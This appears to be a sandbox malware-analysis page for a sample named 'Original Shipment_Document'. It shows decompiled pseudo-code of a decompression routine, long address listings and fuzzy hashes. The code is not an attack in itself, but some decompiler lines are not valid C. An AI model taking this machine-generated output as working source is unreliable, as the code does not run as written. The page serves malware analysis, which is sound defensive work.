							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406f4a
0x00406f4a
0x00406f4e
0x00407005
0x00407008
0x00407014
0x00406ef5
0x00406ef5
0x00406ef8
0x0040726a
0x0040726a
0x0040726d
0x0040726d
0x00407273
0x00407279
0x0040727f
0x00407299
0x0040729c
0x004072a2
0x004072ad
0x004072af
0x00407281
0x00407281
0x00407290
0x00407294
0x00407294
0x004072b9
0x004072e0
0x004072e0
0x004072e6
0x004072e6
0x00000000
0x004072bb
0x004072bb
0x004072bf
0x0040746e
0x00000000
0x0040746e
0x004072cb
0x004072d2
0x004072da
0x004072dd
0x00000000
0x004072dd
0x00406f54
0x00406f58
0x00407499
0x00407499
0x0040749c
0x004074a0
0x004074a0
0x00406f5e
0x00406f64
0x00406f67
0x00406f6b
0x00406f6e
0x00406f72
0x00407438
0x00407484
0x0040748c
0x00407493
0x00407495
0x00000000
0x00407495
0x00406f78
0x00406f7b
0x00406f81
0x00406f83
0x00406f83
0x00406f86
0x00406f89
0x00406f8c
0x00406f8f
0x00406f92
0x00406f95
0x00406f96
0x00406f98
0x00406f98
0x00406f98
0x00406f9b
0x00406f9e
0x00406fa1
0x00406fa4
0x00406fa4
0x00406fa7
0x00406fa9
0x00406fa9
0x00406fac
0x00406fac
0x00406fac
0x00406a82
0x00406a82
0x00406a8b
0x00000000
0x00000000
0x00406a91
0x00000000
0x00406a9c
0x00000000
0x00000000
0x00406aa5
0x00406aa8
0x00406aab
0x00406aaf
0x00000000
0x00000000
0x00406ab5
0x00406ab8
0x00406aba
0x00406abb
0x00406abe
0x00406ac0
0x00406ac1
0x00406ac3
0x00406ac6
0x00406acb
0x00406ad0
0x00406ad9
0x00406aec
0x00406aef
0x00406afb
0x00406b23
0x00406b25
0x00406b33
0x00406b33
0x00406b37
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b27
0x00406b27
0x00406b2a
0x00406b2b
0x00406b2b
0x00000000
0x00406b27
0x00406b01
0x00406b06
0x00406b06
0x00406b0f
0x00406b17
0x00406b1a
0x00000000
0x00406b20
0x00406b20
0x00000000
0x00406b20
0x00000000
0x00406b3d
0x00406b3d
0x00406b41
0x004073ed
0x00000000
0x004073ed
0x00406b4a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b60
0x00406b63
0x00406b67
0x00000000
0x00000000
0x00406b69
0x00406b6f
0x00406b99
0x00406b9f
0x00406ba6
0x00000000
0x00406ba6
0x00406b75
0x00406b78
0x00406b7d
0x00406b7d
0x00406b88
0x00406b90
0x00406b93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bd8
0x00406bde
0x00406be1
0x00406bee
0x00406bf6
0x00000000
0x00000000
0x00406bad
0x00406bad
0x00406bb1
0x004073fc
0x00000000
0x004073fc
0x00406bbd
0x00406bc8
0x00406bc8
0x00406bc8
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bfe
0x00406c00
0x00406c03
0x00406c74
0x00406c77
0x00406c7a
0x00406c81
0x00406c8b
0x00000000
0x00406c8b
0x00406c05
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c14
0x00406c16
0x00406c19
0x00406c1b
0x00406c20
0x00406c23
0x00406c26
0x00406c2a
0x00406c31
0x00406c34
0x00406c3b
0x00406c3f
0x00406c47
0x00406c47
0x00406c47
0x00406c41
0x00406c41
0x00406c41
0x00406c36
0x00406c36
0x00406c36
0x00406c4b
0x00406c4e
0x00406c6c
0x00406c6e
0x00000000
0x00406c50
0x00406c50
0x00406c53
0x00406c56
0x00406c59
0x00406c5b
0x00406c5b
0x00406c5b
0x00406c5e
0x00406c61
0x00406c63
0x00406c64
0x00406c67
0x00000000
0x00406c67
0x00000000
0x00406e9d
0x00406ea1
0x00406ebf
0x00406ec2
0x00406ec9
0x00406ecc
0x00406ecf
0x00406ed2
0x00406ed5
0x00406ed8
0x00406eda
0x00406ee1
0x00406ee2
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406eed
0x00406ef2
0x00000000
0x00406ef2
0x00406ea3
0x00406ea6
0x00406ea9
0x00406eb3
0x00000000
0x00000000
0x00406f07
0x00406f0b
0x00406f2e
0x00406f31
0x00406f34
0x00406f3e
0x00406f0d
0x00406f0d
0x00406f10
0x00406f13
0x00406f16
0x00406f23
0x00406f26
0x00406f26
0x00000000
0x00000000
0x00000000
0x00000000
0x00406fbb
0x00406fbf
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fd6
0x00000000
0x00406fd6
0x00406fc1
0x00000000
0x00000000
0x00406fe2
0x00406fe6
0x00406fed
0x00406ff0
0x00406ff3
0x00406fe8
0x00406fe8
0x00406fe8
0x00406ff6
0x00406ff9
0x00406ffc
0x00406ffc
0x00406fff
0x00407002
0x00000000
0x00000000
0x004070a2
0x004070a2
0x004070a6
0x00407444
0x00000000
0x00407444
0x004070ac
0x004070af
0x004070b2
0x004070b6
0x004070b9
0x004070bf
0x004070c1
0x004070c1
0x004070c1
0x004070c4
0x004070c7
0x00000000
0x00000000
0x00406c97
0x00406c97
0x00406c9b
0x00407408
0x00000000
0x00407408
0x00406ca1
0x00406ca4
0x00406ca7
0x00406cab
0x00406cae
0x00406cb4
0x00406cb6
0x00406cb6
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbc
0x00406cbf
0x00406cc2
0x00000000
0x00000000
0x00406cc8
0x00406cce
0x00000000
0x00000000
0x00406cd4
0x00406cd4
0x00406cd8
0x00406cdb
0x00406cde
0x00406ce1
0x00406ce4
0x00406ce5
0x00406ce8
0x00406cea
0x00406cf0
0x00406cf3
0x00406cf6
0x00406cf9
0x00406cfc
0x00406cff
0x00406d02
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2e
0x00406d32
0x00406d34
0x00406d38
0x00406d04
0x00406d04
0x00406d08
0x00406d10
0x00406d15
0x00406d17
0x00406d19
0x00406d19
0x00406d3b
0x00406d42
0x00406d45
0x00000000
0x00406d4b
0x00000000
0x00406d4b
0x00000000
0x00406d50
0x00406d50
0x00406d54
0x00407414
0x00000000
0x00407414
0x00406d5a
0x00406d5d
0x00406d60
0x00406d64
0x00406d67
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d6f
0x00406d72
0x00406d75
0x00406d75
0x00406d75
0x00406d7b
0x00000000
0x00000000
0x00406d7d
0x00406d80
0x00406d83
0x00406d86
0x00406d89
0x00406d8c
0x00406d8f
0x00406d92
0x00406d95
0x00406d98
0x00406d9b
0x00406db3
0x00406db6
0x00406db9
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc3
0x00406dc5
0x00406d9d
0x00406d9d
0x00406da5
0x00406daa
0x00406dac
0x00406dae
0x00406dae
0x00406dc8
0x00406dcf
0x00406dd2
0x00000000
0x00406dd4
0x00000000
0x00406dd4
0x00406dd2
0x00406dd9
0x00406dd9
0x00406dd9
0x00406dd9
0x00000000
0x00000000
0x00406e14
0x00406e14
0x00406e18
0x00407420
0x00000000
0x00407420
0x00406e1e
0x00406e21
0x00406e24
0x00406e28
0x00406e2b
0x00406e31
0x00406e33
0x00406e33
0x00406e33
0x00406e36
0x00406e39
0x00406e39
0x00406e3f
0x00406ddd
0x00406ddd
0x00406de0
0x00000000
0x00406de0
0x00406e41
0x00406e41
0x00406e44
0x00406e47
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5f
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e80
0x00406e83
0x00406e87
0x00406e89
0x00406e61
0x00406e61
0x00406e69
0x00406e6e
0x00406e70
0x00406e72
0x00406e72
0x00406e8c
0x00406e93
0x00406e96
0x00000000
0x00406e98
0x00000000
0x00406e98
0x00000000
0x00407125
0x00407125
0x00407129
0x00407450
0x00000000
0x00407450
0x0040712f
0x00407132
0x00407135
0x00407139
0x0040713c
0x00407142
0x00407144
0x00407144
0x00407144
0x00407147
0x00000000
0x00000000
0x00000000
0x00000000
0x00407234
0x00407238
0x0040725a
0x0040725d
0x00407267
0x00000000
0x00407267
0x0040723a
0x0040723d
0x00407241
0x00407244
0x00407244
0x00407247
0x00000000
0x00000000
0x004072f1
0x004072f5
0x00407313
0x00407313
0x00407313
0x0040731a
0x00407321
0x00407328
0x00407328
0x00000000
0x00407328
0x004072f7
0x004072fa
0x004072fd
0x00407300
0x00407307
0x0040724b
0x0040724b
0x0040724e
0x00000000
0x00000000
0x004073e2
0x004073e5
0x00000000
0x00000000
0x0040701c
0x0040701e
0x00407025
0x00407026
0x00407028
0x0040702b
0x00000000
0x00000000
0x00407033
0x00407036
0x00407039
0x0040703b
0x0040703d
0x0040703d
0x0040703e
0x00407041
0x00407048
0x0040704b
0x00407059
0x00000000
0x00000000
0x0040732f
0x0040732f
0x00407332
0x00407339
0x00000000
0x00000000
0x0040733e
0x0040733e
0x00407342
0x0040747a
0x00000000
0x0040747a
0x00407348
0x0040734b
0x0040734e
0x00407352
0x00407355
0x0040735b
0x0040735d
0x0040735d
0x0040735d
0x00407360
0x00407363
0x00407363
0x00407363
0x00407363
0x00407366
0x00407366
0x0040736a
0x004073ca
0x004073cd
0x004073d2
0x004073d3
0x004073d5
0x004073d7
0x004073da
0x00000000
0x004073da
0x0040736c
0x00407372
0x00407375
0x00407378
0x0040737b
0x0040737e
0x00407381
0x00407384
0x00407387
0x0040738a
0x0040738d
0x004073a6
0x004073a9
0x004073ac
0x004073af
0x004073b3
0x004073b5
0x004073b5
0x004073b6
0x004073b9
0x0040738f
0x0040738f
0x00407397
0x0040739c
0x0040739e
0x004073a1
0x004073a1
0x004073bc
0x004073c3
0x00000000
0x004073c5
0x00000000
0x004073c5
0x00000000
0x00407061
0x00407064
0x0040709a
0x004071ca
0x004071ca
0x004071ca
0x004071ca
0x004071cd
0x004071cd
0x004071d0
0x004071d2
0x0040745c
0x00000000
0x0040745c
0x004071d8
0x004071db
0x00000000
0x00000000
0x004071e1
0x004071e5
0x004071e8
0x004071e8
0x004071e8
0x00000000
0x004071e8
0x00407066
0x00407068
0x0040706a
0x0040706c
0x0040706f
0x00407070
0x00407072
0x00407074
0x00407077
0x0040707a
0x00407090
0x00407095
0x004070cd
0x004070cd
0x004070d1
0x004070fd
0x004070ff
0x00407106
0x00407109
0x0040710c
0x0040710c
0x00407111
0x00407111
0x00407113
0x00407116
0x0040711d
0x00407120
0x0040714d
0x0040714d
0x00407150
0x00407153
0x004071c7
0x004071c7
0x004071c7
0x00000000
0x004071c7
0x00407155
0x0040715b
0x0040715e
0x00407161
0x00407164
0x00407167
0x0040716a
0x0040716d
0x00407170
0x00407173
0x00407176
0x0040718f
0x00407191
0x00407194
0x00407195
0x00407198
0x0040719a
0x0040719d
0x0040719f
0x004071a1
0x004071a4
0x004071a6
0x004071a9
0x004071ad
0x004071af
0x004071af
0x004071b0
0x004071b3
0x004071b6
0x00407178
0x00407178
0x00407180
0x00407185
0x00407187
0x0040718a
0x0040718a
0x004071b9
0x004071c0
0x0040714a
0x0040714a
0x0040714a
0x0040714a
0x00000000
0x004071c2
0x00000000
0x004071c2
0x004071c0
0x004070d3
0x004070d6
0x004070d8
0x004070db
0x004070de
0x004070e1
0x004070e3
0x004070e6
0x004070e9
0x004070e9
0x004070ec
0x004070ec
0x004070ef
0x004070f6
0x004070ca
0x004070ca
0x004070ca
0x004070ca
0x00000000
0x004070f8
0x00000000
0x004070f8
0x004070f6
0x0040707c
0x0040707f
0x00407081
0x00407084
0x00000000
0x00000000
0x00406de3
0x00406de3
0x00406de7
0x0040742c
0x00000000
0x0040742c
0x00406ded
0x00406df0
0x00406df3
0x00406df6
0x00406df9
0x00406dfc
0x00406dff
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e0c
0x00406e0c
0x00406e0c
0x00000000
0x00000000
0x00000000
0x00000000
0x004071eb
0x004071eb
0x004071eb
0x004071ef
0x00000000
0x00000000
0x004071f5
0x004071f8
0x004071fb
0x004071fe
0x00407200
0x00407200
0x00407200
0x00407203
0x00407206
0x00407209
0x0040720c
0x0040720f
0x00407212
0x00407213
0x00407215
0x00407215
0x00407215
0x00407218
0x0040721b
0x0040721e
0x00407221
0x00407224
0x00407228
0x0040722a
0x0040722d
0x00000000
0x0040722f
0x00000000
0x0040722f
0x0040722d
0x00407462
0x00000000
0x00000000
0x00406a91

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f6913e564211b9dd699f70e6d1786715247b17c51318714e26b7cf31b51a489
Instruction ID: 00773887ea3243dfb52df8404d42644f62a25abb174058b9e5a1e26f950428c6
Opcode Fuzzy Hash: 9f6913e564211b9dd699f70e6d1786715247b17c51318714e26b7cf31b51a489
Instruction Fuzzy Hash: 27813671D04229CFDF24CFA8C8847ADBBB1FB44305F24816AD856BB281C7786A86DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00406A4F Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406A4F(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M004074A1))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8); // executed
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12); // executed
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
